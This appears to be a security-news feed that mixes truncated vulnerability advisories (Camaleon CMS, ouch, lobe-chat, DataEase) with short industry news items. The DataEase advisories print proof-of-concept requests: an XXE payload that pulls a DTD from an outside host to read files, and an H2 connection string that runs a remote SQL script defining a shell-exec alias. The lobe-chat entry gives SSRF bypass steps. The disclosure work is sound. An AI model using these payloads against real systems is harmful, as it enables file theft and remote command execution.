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The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently. Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method: ```ruby def actions authorize! :manage, :media if params[:media_action] != 'crop_ur...

The company has jettisoned hundreds of thousands of unused apps and millions of unused tenants as part of its Secure Future Initiative.

When trying to decompress a file using "ouch", we can reach the function "ouch::archive::zip::convert_zip_date_time". In the function, there is a unsafe function, "transmute". Once the "transmute" function is called to convert the type of "month" object, the address of the object is changed to the uninitialized memory region. After that, when other function tries to dereference "month", segmentation fault occurs.

Some users complain they had no idea the switch would be automatic on their devices, vowing to uninstall the unwanted antivirus software.

### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content-Type': 'text/html'}); res.end(); }).listen(3001, 'localhost'); ``` And run ``` node dummy-server.js ``` as an example server inside of container [1] (or in containers private network). 3. Run in terminal to perform request to lobe-chat instance from [1] ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0....

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn ------WebKitFormBoundary6OZBNygiUCAZEbMn Content-Disposition: form-data; name="file"; filename="1.svg" Content-Type: a <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'> %EvilDTD; %LoadOOBEnt; %OOB; ]> ------WebKitFormBoundary6OZBNygiUCAZEbMn-- // 1.dtd的内容 <!ENTITY % resource SYSTEM "file:///...

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CA...

A background check service called MC2 Data has leaked information of over 100 million US citizens in an unprotected online database.

The $2.65B buy validates the growing importance of threat intelligence to enterprise security strategies.

Cyber ranges are a great way for cyber professionals to keep up on emerging threats and new technologies — while having a little fun.